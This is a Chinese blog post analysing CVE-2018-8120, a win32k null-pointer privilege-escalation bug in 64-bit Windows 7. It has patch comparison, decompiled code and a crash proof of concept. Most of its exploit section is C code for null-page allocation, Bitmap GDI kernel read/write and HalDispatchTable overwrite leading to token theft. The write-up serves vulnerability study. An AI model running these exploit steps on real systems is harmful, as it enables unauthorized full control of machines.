漏洞分析一百篇-06-64位Win7空指针提权漏洞

Author Avatar
leo00000 9月 05, 2018

CVE-2018-8120是win32k.sys中空指针导致的提权漏洞。

前言

分析样本来自github,在windows 7 x64中完成验证,并编写EXP。重点包括零页内存分配,Bitmap GDI内核权限扩展。

补丁比较

if ( rpwinsta )  // patch: if ( rpwinsta && rpwinsta->spklList )
{
  v6 = rpwinsta->spklList;
  while ( (tagIMEINFOEX *)v6->hkl != Dst )
  {
    v6 = v6->pklNext;
    if ( v6 == rpwinsta->spklList )
      goto exit;
  }
  v7 = v6->piiex; 
  if ( v7 )
  {
    if ( !v7->fLoadFlag ) 
      memmove(v7, &Dst, 0x160ui64);
    ret = 1;
  }
}

漏洞细节

根据补丁比较,漏洞主要存在win32k!NtUserSetImeInfoEx中,NtUserSetImeInfoEx 是操作系统提供的接口函数,用于将用户进程定义的输入法扩展信息对象设置在与当前进程关联的窗口站中。

窗口站

窗口站是和当前进程和会话(session)相关联的一个内核对象,它包含剪贴板(clipboard)、原子表、一个或多个桌面(desktop)对象等。窗口站 tagWINDOWSTATION 结构体的定义如下:

NtUserSetImeInfoEx执行过程

__int64 __fastcall NtUserSetImeInfoEx(tagIMEINFOEX *Src)
{
  tagIMEINFOEX *v1; // rbx
  unsigned int ret; // ebx
  tagIMEINFOEX *v3; // rcx
  char v4; // al
  tagWINDOWSTATION *rpwinsta; // rcx
  tagKL *pkl; // rax
  tagIMEINFOEX *v7; // rcx
  tagIMEINFOEX *Dst; // [rsp+20h] [rbp-178h]

  v1 = Src;
  *(_QWORD *)&gptiCurrent = ExEnterPriorityRegionAndAcquireResourceExclusive(gpresUser);
  gbValidateHandleForIL = 1;
  if ( *(_BYTE *)gpsi & 4 )
  {
    v3 = v1;
    if ( v1 >= W32UserProbeAddress )
      v3 = (tagIMEINFOEX *)W32UserProbeAddress;
    v4 = (char)v3->hkl;
    memmove(&Dst, v1, 0x160ui64);
    rpwinsta = *(tagWINDOWSTATION **)(PsGetCurrentProcessWin32Process() + 0x258);
    ret = 0;
    if ( rpwinsta )                             // patch here: if ( rpwinsta && rpwinsta->spklList )
    {
      pkl = rpwinsta->spklList;                 // notice: not check rpwinsta->spklList is null
      while ( (tagIMEINFOEX *)pkl->hkl != Dst ) // pkl = 0x0; pkl + 0x28
      {
        pkl = pkl->pklNext;
        if ( pkl == rpwinsta->spklList )
          goto exit;
      }
      v7 = pkl->piiex;                          // pkl + 0x50
      if ( v7 )
      {
        if ( !v7->fLoadFlag )                   // v7 + 0x4c
          memmove(v7, &Dst, 0x160ui64);         // arbitrary overwrite: (pkl + 0x50) = src
        ret = 1;
      }
    }
  }
  else
  {
    UserSetLastError(0x78i64);
    ret = 0;
  }
exit:
  UserSessionSwitchLeaveCrit();
  return ret;
}

函数主要逻辑获取当前窗口站rpwinsta,从rpwinsta指向的窗口站对象中获取spklList成员。

rpwinsta = *(tagWINDOWSTATION **)(PsGetCurrentProcessWin32Process() + 0x258);   //reverse from here, confirm rpwinsta structure first!
if (rpwinsta)
{
    pkl = rpwinsta->spklList;    // not check pkl is null
    ...
}

spklList是关联的键盘布局tagKL对象链表的头指针。键盘布局tagKL结构体的定义如下:

然后函数会遍历链表,直到节点对象pklNext成员回到头指针对象为止。其中判断每个被遍历的节点对象的hkl成员是否与传入传输相同。如果已经存在对象会直接退出函数,否则继续执行。

while ( (tagIMEINFOEX *)pkl->hkl != Dst ) // pkl = 0x0; pkl + 0x25
{
    pkl = pkl->pklNext;
    if ( pkl == rpwinsta->spklList )
        goto exit;
}

接下来判断键盘布局对象的piiex成员是否为空,且成员变量的fLoadFlag值是否位FALSE,如果是会把函数参数数据拷贝到键盘布局对象的piiex成员中。

v7 = pkl->piiex;
if (v7)
{
    if ( !v7->fLoadFlag )                   // v7 + 0x4c
        memmove(v7, &Dst, 0x160ui64);         // arbitrary overwrite: (pkl + 0x50) = src
}

导致漏洞的原因主要是在遍历键盘布局对象链表spklList的时候,并没有判断spklList地址是否为NULL,假设此时spklList为空的话,接下来对spklList访问的时候会出现异常,导致BSOD的发生。
逆向过程从系统API开始,通过pdb文件确定关键内核数据结构。PsGetCurrentProcessWin32Process返回win32k!tagPROCESSINFO,得到偏移0x258处是win32k!tagWINDOWSTATION,之后确定tagKL,tagIMEINFOEX。

POC验证

使用c进行漏洞验证,首先使用CreateWindowStation创建一个窗口站,调用SetProcessWindowStation将窗口站与当前进程关联起来,然后调用NtUserSetImeInfoEx函数,触发漏洞。

HWINSTA hwinsta = CreateWindowStationW(0, 0, READ_CONTROL, 0);
SetProcessWindowStation(hwinsta);
char ime[0x200];
RtlSecureZeroMemory(&ime, 0x200);
NtUserSetImeInfoEx((PVOID)&ime); //这里调试下硬件断点 ba e1 win32k!NtUserSetImeInfoEx

过程中借助PCHunter、ProcessHacker或者ProcessExplore可以查看窗口站句柄对象的内核地址,在windbg中查看当spklList为空,最终导致了蓝屏出现。

一句话总结漏洞成因:用户进程调用CreateWindowStation等函数差功能键新的窗口站时,在内核会执行窗口站的创建工作,调用NtUserSetImeInfoEx函数时,工作站对象splList成员为初始,导致空指针引用,最终出现BSOD。

Exploit

样本提供了针对windows 7,windows 2008的32位和64位支持,后续有人添加了对XP平台的支持。这里针对样本主要测试了windows7 64位环境。

分配零页内存

漏洞触发的时候NtUserSetImeInfoEx会把可控参数拷贝到零地址上,如果我们实现将恶意数据布置到零地址处,就有可能获取内核控制权限。在win8以前我们可以分配零页内存,使用ZwAllocateVirtualMemory函数可以在指定进程的虚拟空间中申请一块内存,该块内存默认将以64kb大小对齐。将BaseAdress设置为0时,系统会寻找第一个未使用的内存块来分配,并不能在零页内存中分配空间。在AllocateType参数中有一个分配类型是MEM_TOP_DOWN,该类型表示内存分配从上向下分配内存。如果指定 BaseAddress为一个 低地址,例如 1,同时指定分配内存的大小 大于这个值 ,例如8192(一个内存页),这样分配成功后 地址范围就是 0xFFFFE001(-8191) 到 1把0地址包含在内了,此时再去尝试向 NULL指针执行的地址写数据,程序就不会异常了。具体可以参考文章2
在实现过程中,发现以下两种方式都可以正常分配零页内存:

NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); //addr=0x100, size=0x1000 样本利用方法
NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT |MEM_TOP_DOWN, PAGE_READWRITE); //addr=-1, size=0x1000 参考中的利用方法

Bitmap GDI函数实现内核任意地址读/写

文章3对该利用方式进行了很详细的介绍,这里做一些记录。关键的内核数据结构 GDICELL64、BASEOBJECT64和SURFACE64在windows符号文件中并没有,在RectOS可以看到一部分,再有就是逆向大牛的文章了。Bitmap GDI技术让受限制的内核内存写,变成了任意内核内存读/写。总结下过程:

  1. 获取进程的PEB,找到PEB结构中的GdiSharedHandleTable
  2. 通过GdiSharedHandleTable和GDI hanle计算出BASEOBJECT64指针pKernelAddress
  3. BASEOBJECT64结构和SURFACE64结构体总是连续的,计算出SURFACE64中pvScan0的地址
  4. 通过GetBitmapBits/SetBitmaps可以对pvScan0记录的地址指向内容进行读写,Get/Set两个函数是对pvScan0处指针操作,实际需要两个Bitmap GDI
    最终得到如下图所示的状态 在windbg中切换进程再看一遍:

    !process 0 0 cve-2018-8120.exe
    .process addr

BitmapGDI方法在win10 1607版本后不可用了,这里我们可以考虑下,内核中这种成对操作指针的函数,真的没有了么?

CVE-2018-8120在Win7 x64下Exploit

在上面的基础上,完成我们自己的EXP。第一步,分配零页内存:

PVOID addr = (PVOID)0x100;
UINT64 size = 0x1000;
if (NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))
{
    puts("[-] Fail to alloc null page!");
    fflush(stdout);
    ExitProcess(2);
}

第二步,创建窗口站,绑定会话:

HWINSTA hwinsta = CreateWindowStationW(0, 0, READ_CONTROL, 0);
SetProcessWindowStation(hwinsta);

第三步,创建BitmapGDI备用,布局零页内存触发漏洞:

char *pkl = 0;
*(UINT64 *)(pkl + 0x28) = (UINT64)0xcafebabe; //绕过while循环 pkl->hkl != Dst
*(UINT64 *)(pkl + 0x50) = (UINT64)mpv - sizeof(PVOID);

char ime[0x200];
RtlSecureZeroMemory(&ime, 0x200);

//写入数据大小固定0x160, 保护SURFACE64结构
PVOID *p = (PVOID *)&ime;
p[0] = (PVOID)0xcafebabe;
p[1] = (PVOID)wpv;
DWORD *pp = (DWORD *)&p[2];
pp[0] = 0x180;
pp[1] = 0xabcd;
pp[2] = 6;
pp[3] = 0x10000;
pp[6] = 0x4800200;
NtUserSetImeInfoEx((PVOID)&ime);

第四步,借助Bitmap GDI技术,实现对HalDispatch表覆盖,替换NtQueryIntervalProfile为shellcode:

PVOID hal_dispatch_table = leakHal();
printf("[+] hal_dispatch_table is at 0x%llx\n", hal_dispatch_table);

int queryintervalprofile_offset = 0x8;
PVOID oaddr = ((char*)hal_dispatch_table + queryintervalprofile_offset);
PVOID pOrg = 0;
PVOID sc = &shellcode7;
printf("[+] shellcode at 0x%llx\n", sc);
SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr);
GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);

最后,调用NtQueryIntervalProfile函数进入shellcode窃取token,创建系统管理员进程。

在过程中不同平台存在shellcode硬编码、系统调用号和结构体的差异,系统调用号可以参考syscall解决部分,结构体偏移可以参考网站解决部分。

最终结果如下图,EXP上传到github:

参考链接

  1. https://paper.seebug.org/614/
  2. http://blog.nsfocus.net/null-pointer-vulnerability-defense/
  3. https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives